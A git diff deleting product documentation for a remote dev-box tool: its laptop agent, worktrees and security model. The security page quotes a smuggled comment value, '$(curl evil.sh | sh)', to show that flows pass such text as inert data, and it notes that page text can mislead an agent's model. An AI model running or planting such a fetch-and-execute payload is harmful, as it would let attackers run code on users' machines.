-```sh
-berth status # boxes, forwards and the proxy at a glance
-berth events # every event from this laptop and every box, live
-berth doctor # what's wrong on this computer, and how to fix it
-```
-
-## How things reach it
-
-| Client | How |
-| --- | --- |
-| The CLI | A Unix socket, `agent.sock`, in the state directory |
-| The desktop app and plugins | `http://127.0.0.1:1378` with a bearer token; see [the app's API](/docs/reference/app-api) |
-| Your browser | `http://*.localhost:1377/`, the proxy |
-
-## Where it keeps things
-
-State is in `~/Library/Application Support/berth/client/` on a Mac and
-`~/.config/berth/client/` on Linux (`$BERTH_HOME` moves it): its identity,
-paired boxes, forwards, routes, the queue, logs and the app's token. Things
-you write by hand are in `~/.berth/` (`$BERTH_USER_DIR` moves it): hooks,
-task templates, themes, plugins, kits. The full list is in
-[files and environment](/docs/reference/files).
-
-Next: [the security model](/docs/concepts/security), how the agent and your boxes
-trust each other.
-
-## Routes to a box
-
-A box can be reachable more than one way: over Tailscale, which may relay
-it through a server on another continent when both networks are strict; over
-SSH, which often goes direct; or at an address on your LAN. The agent knows
-each route to a box and sends new requests over the fastest one that works.
-
-- **Where routes come from.** The address the box was paired at is one. A box
- added with `berth add ssh` also gets an SSH route to the host it was added
- with, on by default. A host in your `~/.ssh/config` with the box's own name
- is offered, off. You can add an SSH host or an address, and turn any route
- off, in **Settings › Boxes › Routes**.
-- **SSH routes use your ssh.** The agent runs `ssh -W` to berthd's port with
- your `~/.ssh/config`, agent and keys (1Password's agent included), as `ssh
- HOST` would in a terminal. It never reads, stores or asks for a key, and
- never edits your SSH config: ssh runs in batch mode, so a login that would
- need you (a password, an unknown host key) fails instead, and the route
- shows as down. One login is shared by the route's connections.
-- **Every route is only a transport.** The same TLS, pinned to the key the
- box was paired with, runs on every route. A route that reaches anything
- else is refused, as the paired address would be.
-- **Measuring.** While you use a box, each route not carrying its traffic is
- measured every 30 to 45 seconds; a box you aren't using isn't. A route
- clearly faster than the one in use (a quarter quicker) takes over.
-- **Failing over.** The agent checks each box every 10 seconds, and at once
- when a request is slow to answer or typing gets no echo. If the route in
- use doesn't answer within 3 seconds, the others are asked, and the first
- to answer carries new requests from then on. Open terminals and the event
- stream stay on the old route in case it was a hiccup; if it fails again
- (about 5 seconds later), it is down, and they move to the new route:
- a terminal attaches again inside the same tab, the box redraws it, and
- keys that may not have reached the box are sent again. A route that comes
- back is used again if it is the faster one.
-
-`berth boxes` shows the route each box is reached by, and `berth doctor BOX`
-lists them all with their latency.
-
-## Slow and dropping networks
-
-Boxes are often far away (100–900 ms over Tailscale), and links drop. A
-link through one of Tailscale's relays can sit at 80 ms and then spike to 2
-seconds. Shipyard rides that out rather than calling the box offline:
-
-- **Slow, not offline.** A health check (every 10 seconds) that takes over
- 1.5 seconds, or gets no answer in 8, marks the box **slow**: the status
- bar says `1/1 box online · slow`, the sidebar lists the box with "slow",
- and **Settings › Boxes** says why ("health check took 1.9s") with its
- latency. Requests to a slow box still go through, and its connection is
- kept, so terminals and chats on it carry on. It is checked again about 2
- seconds later, with 10 seconds to answer; one good check makes it online
- again.
-- **Away** takes two failed checks in a row, so a box that really went
- shows **Reconnecting** about 20 seconds after it stopped answering (8 s,
- 2 s, then 10 s). A refused connection, a key other than the box's
- pairing's, or the box saying it is stopping (berthd restarting) is away
- at the first check.
-- The agent's log (`berth agent` in a terminal, or its log file) has a
- line for every change, with why, and nothing for the checks in between:
-
- ```
- box cal: online → slow (health check took 6.2s)
- box cal: slow → away (2 checks failed: no answer in 10s)
- box cal: away → online (health check took 84ms)
- box cal: relayed through Tailscale's New York server: no direct connection (this computer's nearest is London)
- ```
-
-What you see when a box does drop off:
-
-- **Reconnecting to devl… Next try in 6s.** A terminal, a chat and a team
- setup in progress say the box is away, count down to the agent's next
- try, and offer **Try now**. The session keeps running on the box; the
- terminal comes back as it was, and the chat and the setup catch up from
- the box's events, which the agent asks for from the last one it saw.
-- **Waiting for devl to answer…** Typing in a terminal that gets nothing
- back for 4 seconds says so (what you type may not arrive while the link is
- down), and has the agent check the box now.
-- **devl isn't answering.** A read that has no answer in 30 seconds (⌘P,
- the Files panel, a diff) fails with that, rather than spinning, and asks
- you to try again in a moment.
-- A message sent again after the link dropped its answer carries the same
- idempotency key, so the box types it once.
-- The app's own connection to the agent (its event stream) is dropped and
- opened again if it is silent for 45 seconds, as after the laptop sleeps,
- with a jittered backoff, and refetches what changed; refreshes that land
- together run as one.
-
-## A relayed link
-
-Tailscale connects two machines directly when it can. When it can't, it
-carries their traffic through one of its relay (DERP) servers, which works
-anywhere but adds the trip to that server and back, and slows down when
-the server is busy. The relay used is the box's nearest, which can be on
-another continent from you. **Settings › Boxes** says when this happens:
-
-> Relayed through Tailscale's New York server: no direct connection (this
-> computer's nearest is London)
-
-`berth doctor BOX` says the same, under **Link from this computer**. For a
-box on this computer's own Tailscale, the agent asks `tailscale status`
-(read only, at most every two minutes); for a box on one of its own
-[networks](/docs/getting-started/add-a-box#boxes-on-another-tailnet), it asks
-that network.
-
-Why it happens: both ends are behind NAT that Tailscale can't get through
-(a "hard" NAT, where the port changes with every destination, often on
-phone hotspots, corporate networks and some home routers), or UDP is
-blocked on the way. A VM at a cloud or hosting provider is usually behind
-the provider's NAT too. You can check with `tailscale netcheck` on each
-end: `MappingVariesByDestIP: true` is a hard NAT.
-
-What fixes it, best first:
-
-- **Let UDP 41641 in to the box.** Tailscale's direct connections use UDP
- port 41641. Open it inbound in the box's cloud firewall or security
- group, and the two ends can meet directly even when your end is behind a
- hard NAT.
-- **A VM behind its host's NAT needs a port forward there**: forward UDP
- 41641 on the host (or the provider's NAT, router or load balancer) to the
- VM. `ufw` on the VM is often inactive and is rarely the blocker; check
- with `sudo ufw status` before changing it.
-- **Another route.** If SSH to the box goes direct (it often does, as SSH
- doesn't need the NAT traversal Tailscale's direct connections do), an
- [SSH route](#routes-to-a-box) carries Shipyard's traffic instead while it
- is the faster one. A box added with `berth add ssh` has one already; add
- one in **Settings › Boxes › Routes**.
-- **A nearer relay, or a peer relay.** If a direct connection isn't
- possible, a Tailscale peer relay on a
- machine with an open UDP port near you both, or a custom DERP server
- nearer than the one in use, cuts the detour.
-
-Run `tailscale ping BOX` after a change: it says `via DERP(nyc)` while
-relayed and an IP address and port once it is direct. The note in
-**Settings › Boxes** goes within a couple of minutes.
diff --git a/apps/shipyard/content/docs/concepts/meta.json b/apps/shipyard/content/docs/concepts/meta.json
deleted file mode 100644
index edec8f22b..000000000
--- a/apps/shipyard/content/docs/concepts/meta.json
+++ /dev/null
@@ -1,11 +0,0 @@
-{
- "title": "Concepts",
- "pages": [
- "architecture",
- "boxes",
- "projects-and-worktrees",
- "sessions-and-agents",
- "laptop-agent",
- "security"
- ]
-}
diff --git a/apps/shipyard/content/docs/concepts/projects-and-worktrees.mdx b/apps/shipyard/content/docs/concepts/projects-and-worktrees.mdx
deleted file mode 100644
index 626b3737c..000000000
--- a/apps/shipyard/content/docs/concepts/projects-and-worktrees.mdx
+++ /dev/null
@@ -1,164 +0,0 @@
----
-title: Projects and worktrees
-description: Locations on a box, projects across boxes, and the worktrees agents work in.
----
-
-On a box, a repository is a **location**. In the app, the same repository
-across your boxes is a **project**. Agents work in its **worktrees**.
-
-## Locations
-
-A **location** is a named directory on one box, usually a git repository:
-
-```sh
-berth location add devl/shop ~/work/shop
-berth locations devl
-berth location rm devl/shop # forgets it; files are untouched
-```
-
-The box API, the CLI and hooks address things on a box by location:
-`shop` is the repository's own checkout, `shop/checkout` one of its worktrees,
-and `devl/shop/checkout` the same from the laptop.
-
-## Projects
-
-In the app, a **project** is one repository wherever it is checked out. A
-location on `devl` and one on `gpu` whose remotes name the same
-`owner/repo` (or, without a remote, that share a name) are one project with
-two members; you can rename, merge and split projects from the sidebar. Each
-project has a **default box**, where new work goes unless you pick another,
-and the sidebar groups worktrees by project (or by box, if you prefer).
-
-Projects are an idea of the app and the laptop; boxes only know their own
-locations. A flow can still run for
-[a project on every box that has it](/docs/guides/automations#any-project-on-every-box).
-
-## Worktrees
-
-Agents work in **worktrees**: separate checkouts of the same repository, each
-on its own branch, so several agents can work at once without stepping on
-each other. Shipyard makes them with git, next to the repository:
-
-```text
-~/work/shop the repository (location "shop")
-~/work/shop-checkout worktree "checkout", on branch checkout
-~/work/shop-fix-login worktree "fix-login"
-```
-
-```sh
-berth worktree new devl/shop/checkout [--branch B] [--base REF] [--parent NAME] [--no-setup]
-berth worktree setup devl/shop/checkout [--wait]
-berth worktree rm devl/shop/checkout [--force]
-```
-
-- Keep a worktree's name to letters, digits and dashes: it becomes part of
- its [private URL](#private-urls).
-- The branch defaults to the name. An existing branch, local or on
- `origin`, is checked out as it is (tracking `origin`); a new one starts from
- `--base`, or from what the repository has checked out.
-- `--parent` nests the new worktree under another of the location's in the
- sidebar, such as a stacked branch under the one it builds on. A task an
- agent starts, or hands its work off to, nests under that agent's worktree
- by itself. The main checkout is no parent.
-- Worktrees made by any other tool appear too, with a `worktree.created`
- event whose origin is `detected`.
-
-### Display names
-
-A worktree made from a pasted link is named after it
-(`https-linear-app-acme`). Give it a **display name** to show in its place:
-**Rename…** in its menu, double-click or F2 on its sidebar row (Enter saves,
-Esc cancels), right-click or F2 on its tile in the folded rail, its tab
-group's menu, or its name in the status bar. When its agent's task reads as
-a name, the field offers it.
-
-It is a label only: the branch and the folder keep their names, so nothing
-on the box moves, and an empty name shows the worktree's own again. The box
-keeps it with the location in `locations.json`, so your other laptops, the
-[phone](/docs/guides/phone) and the CLI see it too, and it goes with the worktree
-when that is removed. The app shows it wherever the worktree appears (the
-sidebar, the rail, tab groups, ⌘K and ⌘P, Home, Review, notifications, the
-status bar and the window's title), with the worktree's own name beside it
-where there is room and in its tooltip; ⌘K finds it by either.
-
-```sh
-berth worktree rename devl/shop/https-linear-app-acme "Cart badge after refund"
-berth worktree rename devl/shop/https-linear-app-acme # its own name again
-```
-
-A box running a berthd from before display names keeps the name on this
-laptop only, and says so once with **Update**; once the box is updated the
-name moves to it.
-
-### Setup and teardown
-
-When a worktree is created, the repository's **setup** script runs in it (in
-the background, up to 30 minutes, logged on the box); once it succeeds, its
-`autostart` services start. Before one is removed, its services stop and the **archive**
-script runs; if that fails, the worktree stays. Both come from
-[`.berth/config.json`](/docs/guides/project-config), a [kit](/docs/guides/kits), or the
-box's own config for the location (`berth location scripts`). A
-repository's own file runs only once it is
-[trusted on that box](/docs/guides/project-config#trusting-a-repositorys-config),
-and again after it changes.
-
-### Ports and environment
-
-Every worktree has its own block of ports, stable for its life and freed when
-it is removed: `$BERTH_PORT`, then `$BERTH_PORT_1`… up to the `ports` the
-config asks for (at most 10). Everything run in a worktree (scripts,
-terminals, agents, services, hooks, `exec`) gets them along with
-`BERTH_WORKTREE_SLUG`, `BERTH_BRANCH` and the rest; see
-[project config](/docs/guides/project-config#ports-and-environment).
-
-### Pause and resume
-
-From the Worktrees view you can pause a worktree: its running services stop
-and its agents are frozen where they are, using no CPU, until you resume it,
-which lets the agents carry on and starts the same services again. Plain
-shells are left alone. The
-[resource guard](/docs/guides/resource-guard) does the same to idle worktrees
-when a box runs short of memory.
-
-## Private URLs
-
-The laptop agent serves every box's ports at `*.localhost` names, through the
-box connection, with nothing exposed on the box:
-
-| URL | Reaches |
-| --- | --- |
-| `http://3000.devl.localhost:1377/` | Port 3000 on `devl` |
-| `http://checkout.shop.devl.localhost:1377/` | The `checkout` worktree's dev server (its lowest listening port) |
-| `http://shop.devl.localhost:1377/` | The main checkout's dev server |
-| `http://checkout.shop.localhost:1377/` | The `checkout` worktree's dev server, when only one box has it |
-| `http://localhost:1377/` | An index of what is reachable |
-
-`berth setup port80` on a Mac drops the `:1377`. Dev servers need no
-configuration: the proxy presents requests to them as `localhost:` and
-rewrites their redirects back.
-
-For a program that needs a fixed local port (a database client, say), forward
-one:
-
-```sh
-berth forward devl 5432 # localhost:5432 → devl:5432
-berth forward devl 8080:3000 # localhost:8080 → devl:3000
-berth forwards
-berth unforward ID
-```
-
-And for a router on the box that dispatches by host name:
-
-```sh
-berth route add '*.app.localhost' devl 8080 # Host header passed unchanged
-```
-
-## Editors
-
-```sh
-berth ssh-config --write # an SSH host per box, berth-, for editors
-berth edit devl/shop/checkout src/app.ts:42 # open a file at a line (--in cursor|vscode|windsurf|zed)
-```
-
-Next: [sessions and agents](/docs/concepts/sessions-and-agents), what runs in a
-worktree.
diff --git a/apps/shipyard/content/docs/concepts/security.mdx b/apps/shipyard/content/docs/concepts/security.mdx
deleted file mode 100644
index b1dfd6fca..000000000
--- a/apps/shipyard/content/docs/concepts/security.mdx
+++ /dev/null
@@ -1,422 +0,0 @@
----
-title: Security model
-description: Who Shipyard trusts and for what, how laptops and boxes prove who they are, what guards repository config, kits, flows and plugins, and what is still open.
----
-
-Every connection in Shipyard is between two keys that have met before. Nothing
-on a box is reachable without a paired laptop, and nothing is public unless
-someone shares it. Inside that, Shipyard runs other people's code and data (a
-repository's config, a kit, a plugin, a pull request's comments), and asks
-before any of it runs.
-
-## Who is trusted with what
-
-| Who | What they can do | What guards it |
-| --- | --- | --- |
-| A **paired laptop** | Everything the box's user can: start shells and agents, run commands, change config, upgrade berthd | Pairing (one code, used once), pinned keys, `berthd revoke` |
-| **Anything running as the box's user** (agents, scripts, hooks) | The same, through berthd's socket and `~/.berth` | Nothing beyond the operating system: it is you on that box |
-| Someone who can **commit to a repository** on a box | Nothing, until you trust its `.berth/config.json` on that box | [Repository trust](#repository-config), per content hash |
-| A **kit's** author | Nothing, until you apply the kit you reviewed | [Kit review](#kits), pinned to a hash |
-| A **plugin's** author | Everything the app can, once you allow the plugin | [Plugin consent](#plugins), pinned to a hash |
-| Whoever writes **event data** (a PR title, a review comment, a branch name, an agent's output) | Text in your flows, never commands | [How flows fill in values](#flows-and-event-data) |
-| Someone with a box's **phone token** | Read agents' screens and type into sessions on that box, from your tailnet | [The phone](#the-phone) |
-| The **network** | Nothing: it sees encrypted traffic between pinned keys | [Identity and transport](#identity-and-transport) |
-
-Pair only laptops you own, and only trust repositories, kits and plugins
-whose authors you would let run commands as you.
-
-## Identity and transport
-
-Every installation has an Ed25519 key; its identity is the SHA-256 of the
-key's SubjectPublicKeyInfo. Certificates are regenerated on every start and
-carry no meaning beyond the key.
-
-Connections are TLS 1.3 with mutual certificates. Each side accepts only the
-other's pinned key, never a certificate authority. On top, HTTP/2
-multiplexes pings, API calls, TCP streams and terminals over one connection
-per box, with health pings to notice a connection that died silently.
-
-An unpaired client can complete a handshake but only attempt pairing, which
-is rate limited per source address (with a larger limit across all of them),
-counting only failed attempts, so a stranger cannot lock you out of pairing
-from your own machine. Every other request is refused with the same answer,
-whatever the reason. A trust store that cannot be read authorizes nobody.
-
-## Pairing
-
-1. On the box, `berthd pair` stores a random 256-bit single-use code (ten
- minute expiry) and prints `berth://HOST:PORT?code=…&fp=`.
-2. The laptop connects to `HOST:PORT` and pins `fp`.
-3. The laptop proves it holds the code without sending it: an HMAC keyed by
- the code over TLS exported keying material (RFC 5705) and the laptop's own
- fingerprint, so the proof is bound to this session and this key.
-4. The box consumes the code under a file lock and pins the laptop's key.
-
-The [install script](/docs/getting-started/add-a-box#with-the-install-command)
-runs on the box itself and ends with step 1, so the laptop needs no SSH at
-all. `berth add ssh HOST` does all of this over one SSH session instead: it
-detects the box's platform, uploads the matching berthd, installs the
-service, and pairs. It checks box and network names before they reach an SSH
-command line, and a host key is trusted without asking only when you pass
-its fingerprint (`--trust-host-key`), which **Set up** in the app does for a
-tailnet machine whose key Tailscale reports.
-
-On the box, `berthd clients` lists paired laptops and
-`berthd revoke ` stops trusting one. On the laptop,
-`berth forget BOX` removes a box.
-
-### Inviting another computer
-
-A paired laptop can ask a box for a pairing code for another computer of the
-same person (`berth invite`, Settings → Computers). The box issues it over
-the laptop's own pinned connection, exactly as `berthd pair` would: one
-code, single use, ten minutes, consumed under the same lock and proven the
-same way (step 3), so the code still never crosses the network from the new
-computer. Asking runs the `before:pairing.invite` gate, is limited to ten
-codes per ten minutes per box, and announces `pairing.invited` with who asked,
-never the code; no box or laptop logs a code.
-
-The laptop bundles one code per box into a join link with each box's
-addresses and fingerprint, which the new computer pins. It holds no key of
-the inviting laptop and no token. Whoever holds the link before it expires
-can pair with those boxes, so the app and CLI ask before making one and say
-so; see [more than one computer](/docs/guides/more-computers). A link whose
-fingerprint was changed reaches no box (the handshake fails before any
-proof), and a used or expired code is refused like any other.
-
-## Revoking a laptop
-
-`berthd revoke` removes a laptop's key, and the running daemon closes the
-shells, port streams and event streams it still had open: at once when
-`berthd revoke` runs on the box, otherwise within a second or two. Another
-paired laptop can do the same from Settings → Computers (`DELETE
-/v1/clients/{name}`, gated by `before:client.revoke`), which closes them at
-once; a laptop cannot remove itself that way.
-
-## Where berthd listens
-
-By default berthd listens on the box's tailnet address only and refuses to
-start if there is none. Listening on the internet takes an explicit
-`--listen 0.0.0.0:7444`. `berthd pair` advertises the address it actually
-listens on.
-
-## Reaching other tailnets
-
-A laptop's system Tailscale can be on only one tailnet. For boxes on another
-(a personal tailnet while the Mac is on a work one), the agent runs an
-embedded Tailscale node per named network (`berth network login personal`, a
-one-time browser sign-in). Each paired box records the network it is reached
-through; pairing, the agent's connections and `add ssh` all dial through it.
-Shipyard's own pinned TLS still runs on top: the tailnet only provides the route.
-
-## On the laptop
-
-- **Private URLs.** Every port on a box is reachable at
- `http://..localhost:1377/`. All operating systems resolve
- `*.localhost` to loopback, so no DNS is involved. The proxy presents
- requests to the app as `localhost:` and rewrites the app's own
- redirects back, so dev servers need no configuration. Unknown hosts are
- refused, which blocks DNS rebinding. Fixed-port forwards listen on both
- loopback addresses and refuse a port another program already holds on
- `::1`, where `localhost` resolves first on macOS.
-- **The app's API** on `127.0.0.1:1378` takes a bearer token from a file
- only your user can read, checks the `Host` header, and allows only the
- app's own origins. The token travels in a header; only WebSocket upgrades,
- which a browser can't give headers, may carry it in the query string. See
- [the app's API](/docs/reference/app-api#transport).
-- **What the app runs.** The packaged app starts the laptop agent only from
- the `berth` it carries (`Contents/MacOS/berth-cli`), and only while that is
- signed by the same Developer ID team as the app: never one on `PATH`, in
- `~/.local/bin` or named by `BERTH_CLI`, where anything running as you could
- plant one. Only a dev build looks elsewhere. The same goes for
- [Use this Mac](/docs/getting-started/add-a-box#this-mac): the agent installs only
- the app's own `Contents/Resources/berthd`, checked against the app's team
- before it is copied out, and the copy is checked again
- (`codesign --verify`) before launchd runs it. That box listens on
- `127.0.0.1` only.
-- **Service keys.** A [Linear](/docs/guides/linear) API key is kept by the laptop
- agent in a file only your user can read. The agent makes every call to
- Linear itself, a fixed set of reads and one write (a comment); the app's
- window, plugins and boxes are told who is connected, never the key.
-- **SSH config.** `berth ssh-config --write` writes a host per box for
- editors. The SSH user a box reports is checked against a strict pattern
- first, so a box can't add lines of its own to your SSH config.
-
-## Public shares
-
-Sharing is opt-in, one port at a time (`berth share BOX PORT`). The **box**
-runs a Cloudflare quick tunnel, so a link survives the laptop sleeping.
-Shares end when revoked or when berthd stops or upgrades; none outlive the
-daemon that manages them. Agents' [skills](/docs/guides/agent-integrations#skills)
-tell them never to share a port unless a person asked.
-
-## Releases and upgrades
-
-- **The Mac app** is signed with a Developer ID and notarized by Apple.
- [Its updates](/docs/getting-started/install#updates) come from the latest GitHub
- release, over HTTPS, and are installed only if they carry a valid
- signature from Shipyard's updater key, whose public half is built into the
- app. Nothing installs until you choose **Restart to update**.
-- **berthd and the CLI** from a release are checked against the release's
- `checksums.txt` by the install script. That catches a broken or truncated
- download, but the checksums come from the same release, so they don't
- prove who made it (see [known limits](#known-limits)).
-- **`berth upgrade BOX`** uploads the matching daemon over Shipyard's own
- connection. The box runs the upload once to check it starts and reads the
- box's own identity, swaps it in, and re-executes in place, keeping its PID
- so the supervisor sees no restart and sessions are untouched. Public shares
- stop first. The check catches a wrong build, not a malicious one: any
- paired laptop can replace berthd, as it can run any command there. A
- `before:box.upgrade` gate sees each upgrade.
-
-## Repository config
-
-A repository's committed `.berth/config.json` holds commands: a setup
-script, services, hooks, flows, environment and agent commands. Anyone who
-can commit to a repository could otherwise run them on every box that has
-it. So a box runs none of that until someone trusts the file on that box,
-for that project, and only the exact bytes they saw (its SHA-256 hash): any
-change to the file waits to be trusted again. Until then only its port count
-applies, and the app shows what it wants to run (**This repository wants to
-run …**). From a terminal, `berth location config BOX/LOC` shows it and its
-hash, and `--trust HASH` or `--untrust` decide. A kit you apply and the box's
-own config are yours and need no trust. See
-[trusting a repository's config](/docs/guides/project-config#trusting-a-repositorys-config).
-
-## Kits
-
-A [kit](/docs/guides/kits) runs its scripts on the boxes you apply it to, so
-nothing in one runs until you have seen it:
-
-- Adding a kit shows everything it does and every file it carries, with a
- hash of all of it. What is kept is exactly what you saw: the link is
- fetched again when you confirm, and refused if it now hashes differently.
-- Applying is a separate step, and applying from the review goes ahead only
- while the kept copy still has the hash you reviewed.
-- On a box, a kit's files are written only inside its own folder, and
- `before:kit.install` and `before:kit.remove` gates can refuse them.
-
-## Review links
-
-A [review link](/docs/guides/review-a-pr), `berth://review?repo=OWNER/NAME&pr=N`,
-can come from anyone, so it carries no authority:
-
-- **Read strictly.** It names a repository (`[A-Za-z0-9._-]+/[A-Za-z0-9._-]+`)
- and a positive PR number, and at most a head commit, which only warns
- when it is not the head, a dev user to open it logged in as (used only
- when the project's trusted login lists them) and a page on the
- worktree's own address. Any other parameter, one given twice, or a value
- out of shape makes it no link: no command, file path, setting or variable
- is ever read from one.
-- **Never run on open.** Opening it shows the review sheet and nothing
- else. Nothing is fetched to a box or run until you press **Review**, which
- checks everything again; `berth review` asks unless given `--yes`.
-- **Who.** The repository must be one of your team setup's projects or
- already on one of your boxes. The PR is read with your own `gh`, so you
- see only what your account can, and it must be open, from a branch of
- that repository (not a fork), by a member, owner or collaborator.
-- **The commit shown.** The box fetches `refs/pull/N/head` and makes the
- worktree only if it is the commit you confirmed. A PR that moves on
- doesn't move the review; **Update to latest** asks again.
-- **Setup from the team, never the PR.** The kit and the `.berth/config.json`
- the box trusts, read from the main checkout, set it up; the PR's own
- `.berth/` never runs, and git hooks are off while it is checked out. The
- sheet lists the files in the PR that touch setup.
-- **Keys.** The team's shared keys, as any worktree gets them; never your
- own (`team.json`'s `ask` keys).
-- **Contained and cleaned up.** Its dev server is reachable only through
- the private URL, its sessions run in their own scopes, and it is removed
- when the PR is merged or closed or after 7 days unused, never with
- uncommitted changes without asking. Each step is in the box's journal.
-
-## Flows and event data
-
-[Flows](/docs/guides/automations) run on events whose data can come from someone
-else: a pull request's title, a review comment, a branch name, an agent's
-output. That data is only ever text:
-
-- A `run` step's command never contains a value. Each variable is in the
- command's environment as `$BERTH_FLOW_…`, and `{{event.body}}` in a
- command becomes a quoted reference to it, so a comment of
- `$(curl evil.sh | sh)` is passed as those characters.
-- Values in a webhook's URL are percent-encoded, and values in its body
- JSON-escaped, so a value can't add a host, a path, a parameter or a field.
-- A secret's value never leaves in a webhook, a notification or a step's
- kept output: it shows as `[secret]`.
-- Webhooks and [phone notifications](/docs/guides/phone) reach only public
- addresses (notifications also your tailnet). Loopback, private, link-local,
- cloud metadata and other reserved addresses are refused, checked on the
- address actually dialled, redirects included, unless the box's owner
- allows them in `~/.berth/network.json` on the box, which nothing in the
- API or a repository can change. See
- [outbound requests](/docs/guides/automations#outbound-requests).
-
-## Git and files on the box
-
-- Cloning a repository and fetching a kit allow only git's `https`, `http`,
- `ssh` and `git` transports, so a link can't use `file://` to read a local
- repository or `ext::` to run a command. (A kit can still come from a
- folder on your laptop, which is copied, not cloned.)
-- Installing Shipyard's [skills](/docs/guides/agent-integrations#skills) into a
- repository refuses to follow symbolic links, so a repository can't
- redirect the write to a file elsewhere on the box.
-
-## Secrets and prompts
-
-- A project's environment can name secrets (`op://…` for 1Password,
- `env://…` for a variable in berthd's own environment) instead of holding
- them. Values are read when needed and kept in memory: sessions and
- services read theirs inside their own process (`berthd secret exec`), so
- a value is never on a command line. No value is written to disk, a log, an
- event or the API; see [secrets](/docs/guides/secrets#how-values-are-handled).
-- A prompt typed into a session (`berth session send`, a flow's `prompt`
- step, the phone) never appears in events or logs: `session.sent` carries
- only the session's name, and agent tool hooks forward only identifiers
- and paths.
-- A **first** prompt is different: `berth task new --prompt` and a flow's
- `start_agent` put it on the agent's command line, so it is part of the
- session's command, which `session.started`, `before:session.start` and the
- sessions list carry (see [known limits](#known-limits)).
-- The offline queue keeps prompts on the laptop, in its state directory, and
- never puts them in an event.
-
-## The phone
-
-Each box can serve a small phone app on its tailnet address, off by default,
-with a token per box. Its threat model is on [the phone page](/docs/guides/phone#threat-model).
-
-## Gates
-
-`before:` hooks on a box can refuse actions (creating worktrees, starting
-sessions, sending prompts, running `exec`, installing kits, changing config,
-replacing the hooks themselves), whoever asks: the app, the CLI, a flow, an
-agent or the phone. Every API route that changes something runs one; see
-[the list](/docs/reference/events#gates).
-
-A gate sees an origin the box can vouch for. A paired laptop is
-`laptop:` and the phone is `remote`, whatever origin they claim; only
-a caller on the box's own socket names its tool. So a gate scoped to a
-`tool` lets that tool's own actions through only when the tool runs on the
-box. See [hooks](/docs/guides/hooks#gates).
-
-Gates are a convenience, not a security boundary: they keep agents and
-automations inside the lines you draw, but a paired laptop can already run
-commands on the box, and anything running as the box's user can edit
-`~/.berth/hooks.json`.
-
-## Plugins
-
-Desktop plugins run inside the app with its full access: its API token,
-every paired box, and the network. So a plugin you install never turns on by
-itself. The first time, the app shows what it can do and a hash of its code,
-and runs it only once you allow it; when its code changes, it is off until
-you allow it again. On a box, a plugin's hooks run only once the plugin is
-listed in the box's `~/.berth/plugins.json`. See
-[trust and consent](/docs/guides/plugins#trust-and-consent).
-
-### A plugin's helper
-
-A plugin can also bring a [helper](/docs/guides/plugins#give-a-plugin-a-helper):
-a program berthd keeps running on a box, such as the one that records your
-dev servers' queries for Leadline. It is not sandboxed. **A helper is a
-program that runs on the box as you**, for as long as berthd runs, and can
-read and do there whatever your account can. Turning one on for a box is
-deciding to run its author's program on that box.
-
-What Shipyard holds it to:
-
-- **Only an allowed plugin gets one, and only when you turn it on, box by
- box.** The plugin's manifest names the helper and the SHA-256 of its build
- for each platform, and the manifest is part of the hash you allowed. When
- the plugin changes, the permission lapses and its helper is not installed
- or updated until you allow it again. A helper that is already running
- keeps running until you turn it off (turning one off never needs the
- plugin to be allowed).
-- **The program that runs is the one the manifest names.** Your laptop
- downloads the build, from whatever address the manifest gives, and uploads
- it over Shipyard's own connection only if its size and SHA-256 match.
- berthd checks the bytes again before it keeps them, and checks the file
- again each time it starts it. A download that was tampered with or
- replaced at its address is never run.
-- **It runs what the manifest says, where berthd put it.** The program
- lives in its own folder under berthd's state directory, with a name and a
- version that cannot be a path. Its arguments are the manifest's alone. It
- gets a [small environment](/docs/reference/files#what-a-helper-gets), not
- berthd's own, so a token berthd was started with is not handed to it.
-- **It is reached on loopback only.** berthd relays the app's requests to
- the address the helper says it listens on, and refuses one that is not on
- the box itself. A request reaches the helper with its own loopback address
- as the `Host` and no `Origin`, so the helper can refuse every web page.
- Nothing of it is opened to the network.
-- **What it can change about your dev servers is named in the manifest.**
- Before a worktree's service starts, a helper may be shown, and may set,
- only the variables its manifest lists (`attach_env`): for Leadline the
- database URL and the OpenTelemetry variables. Variables that name a secret
- are never shown to it or replaced, a helper that is slow or failing
- changes nothing, and berthd logs none of it.
-- **Only a paired laptop installs one.** berthd takes a helper from a laptop
- you paired, which is where the plugin was allowed. An agent or a script on
- the box, which reaches berthd through its socket, can list helpers and
- remove one, but cannot hand berthd a program to keep running.
-- **The box's owner has the last word.** `berthd helpers` lists what runs,
- `berthd helper rm` removes one, and a `before:helper.install`
- [gate](#gates) can refuse them all.
-
-What the checksum does not do: it is not a signature, and says nothing about
-who built the program or whether it is safe. Whoever writes a plugin's
-manifest chooses the checksum in it, and whoever can change the listing a
-plugin is installed from can offer a manifest with another. What stands
-between that and your box is the consent dialog, which is for exactly the
-manifest you saw.
-
-## The agent browser
-
-An agent's browser runs on the box, never on the laptop: it has none of your
-cookies, it is not the app's own web view, and its profile is thrown away
-when it closes. Its only way out is a proxy inside berthd that lets it reach
-the worktree's own pages and port block, and public origins the box's owner
-allows (or a trusted repository config asks for), dialled through the same
-private-address check as webhooks. Other worktrees, berthd, databases,
-private ranges, metadata endpoints and the internet are refused. berthd
-drives it over a pipe, so there is no debugging port for other processes to
-attach to. Opening, scripting, watching and widening it go through
-`before:browser.*` gates. See [agent browser](/docs/guides/agent-browser).
-
-## Known limits
-
-- **An agent's browser can be talked to by its page.** Page text reaches the
- agent; the skill tells agents to treat it as data, but a model can still
- be misled by it. The proxy keeps what the page can make the browser reach
- to the worktree's own origins.
-- **Plugins are not sandboxed.** Consent decides whether a plugin runs, not
- what it can do once it runs. Running each plugin in an isolated view with
- only the capabilities it asks for is planned.
-- **Gate origins on the box are claimed, not proven.** A caller on berthd's
- own socket names its own origin (`--origin`, `BERTH_ORIGIN`), so anything
- running as the box's user can pass a gate scoped to a tool. That is the
- same user who can edit the hooks.
-- **First prompts and plain environment values are on command lines.** A
- first prompt is in the agent's command (`$SHELL -lc "claude '…'"`), and
- the project's plain `env` values are passed to tmux as `-e KEY=VALUE`, so
- other processes on the box can see them, for instance with `ps`. Secret
- references (`op://`, `env://`) are not: they are resolved inside the
- session. Keep anything sensitive in a secret reference.
-- **Release archives are not signed.** `checksums.txt` proves a download is
- intact, not who published it, and `berth upgrade` trusts the laptop that
- sends the binary. Signed checksums and signed daemon upgrades are planned.
-- **The tailnet address is found by its range.** berthd listens on the first
- address in `100.64.0.0/10`, Tailscale's range. On a network that also uses
- that range for carrier-grade NAT, check where it listens with
- `berthd doctor`.
-- **`*.localhost` cookies are shared.** A dev server that sets a cookie for
- `localhost` itself makes it visible to every other private URL in your
